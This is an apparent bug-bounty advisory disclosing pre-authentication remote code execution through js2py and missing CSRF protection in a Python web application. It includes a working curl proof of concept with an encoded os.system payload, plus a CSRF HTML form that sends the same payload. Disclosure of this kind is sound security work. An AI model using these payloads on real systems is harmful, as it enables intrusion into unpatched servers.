Pre-auth RCE

2023-01-0115:02:24

bauh0lz

www.huntr.dev

117

unauthenticated

remote code execution

python

csrf

vulnerability

0.563 Medium

EPSS

Percentile

97.7%

JSON

Description

An unauthenticated attacker can execute arbitrary python code by abusing js2py functionality.

Also, due to the lack of CSRF protection, a victim can be tricked to execute arbitrary python code.

Proof of Concept

Run the command below and touch /tmp/pwnd gets executed.

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

Decoded jk parameter: pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};

You can also send the url of a website that hosts the HTML file below to a victim.

&lt;html&gt;
  
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="http://127.0.0.1:9666/flash/addcrypted2" method="POST"&gt;
      &lt;input type="hidden" name="package" value="xxx" /&gt;
      &lt;input type="hidden" name="crypted" value="AAAA" /&gt;
      &lt;input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" /&gt;
      &lt;input type="hidden" name="passwords" value="aaaa" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;